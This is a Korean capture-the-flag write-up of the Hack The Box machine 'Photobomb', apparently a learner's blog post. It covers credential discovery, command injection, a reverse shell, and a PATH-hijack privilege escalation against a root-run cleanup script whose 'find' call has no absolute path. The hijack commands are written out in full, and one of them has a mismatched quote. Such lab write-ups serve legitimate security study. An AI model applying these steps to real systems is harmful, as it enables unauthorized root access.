Home Hack The Box - Photobomb
Post
Cancel

Hack The Box - Photobomb

Hack the Box의 Photobomb을 풀어봅시다.


Port Scanning

제일 먼저 nmap을 이용하여 포트스캔을 돌렸을 때 나오는 결과는 다음과 같습니다.

1

아래의 포트가 열려있으며 ssh 연결은 ID와 패스워드를 모르니 http 부터 접근을 시도했다.

  1. ssh
  2. http

HTTP Service

그냥 접근하면 http://photobomb.htb/ 으로 리다이렉션 되고 접속이 안되지만 hosts 수정을 통해 접속을 할 수 있다. 2

페이지 접근시 아래와 같이 웹페이지가 보인다.

3

Click here에 접근하게 되면 Basic 인증을 통해 권한 체크를 하는 것으로 보인다.

4

JS분석을 통해 photobomb.js 파일에서 URL을 하나 찾았다. printer 해당 정보로 basic ID와 패스워드를 알 수 있다.

5

Command Injection(RCE)

파일 다운로드 기능 하나가 보여서 파일 다운로드 취약점과 관련이 있을 것으로 판단하여 photo 파라미터에 ../등 인풋을 넣어보았지만 딱히 별 반응이 없다….

6

Write-up을 보니 filetype 파라미터 curl 명령어를 통해 내 http 서버로 요청을 시도했는데 응답이 왔다. Command Injection이 가능하여 리버스 쉘을 연결이 가능하다. (흠 요부분이 잘이해가 되지 않는다..)

7

Reverse Shell Generator를 이용하여 쉘을 만들어 연결까지 가능하다.

8

user.txt를 찾아 FLAG를 찾을 수 있다.

privilege escalation

다음은 권한 상승을 통해 root flag를 찾아야한다. sudo -l 으로 사용자 권한을 나열하거나 특정 명령어를 확인하면 /opt/cleanup.sh 에서 root 권한으로 파일을 실행하는 것을 알 수 있다.

1
2
3
4
5
6
7
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

/opt/cleanup.sh 파일 내용을 보면 photobomb.log.old 파일에 photobomb.log을 덮어 씌우고 photobomb.log파일 내용을 truncate 명령어로 삭제한다.

맨 마지막 코드에서 권한상승이 가능합니다. (요기서 너무 막혔다 아직 잘 이해가 안됨;;;) find는 절대 경로 대신에 상대 경로를 사용하기에 환경 변수를 변경하여 현재 디렉토리에 find 파일을 만들어 이안에 쉘을 작성하면 루트 권한을 얻을 수 있다고 합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
wizard@photobomb:~$ cat /opt/cleanup.sh
cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

root 권한이 획득이 가능하다.

1
2
3
4
5
wizard@photobomb:~$ echo "/bin/bash" > find
wizard@photobomb:~$ chmod +x find
wizard@photobomb:~$ echo "sudo PATH=$PWD:$PATH /opt/cleanup.sh
wizard@photobomb:~$ id
id uid=0(root) gid=0(root) groups=0(root)

root.txt를 찾아 Flag를 획득할 수 있다.


후기

해당 문제는 3개의 키워드로 나타낼 수 있을꺼 같다.

  1. Javascript를 통해 basic 인증 ID/PASSWORD 찾기
  2. /printer 페이지에서 Command Injection (RCE)
  3. privilege escalation

사실상 2,3번이 핵심인데 도저히 모르겠어서 Write-up을 참고 하였는데 쉽지가 않다. 우선 해당 취약점이 발생하는 원인부터 다시 공부해야겠다. 후…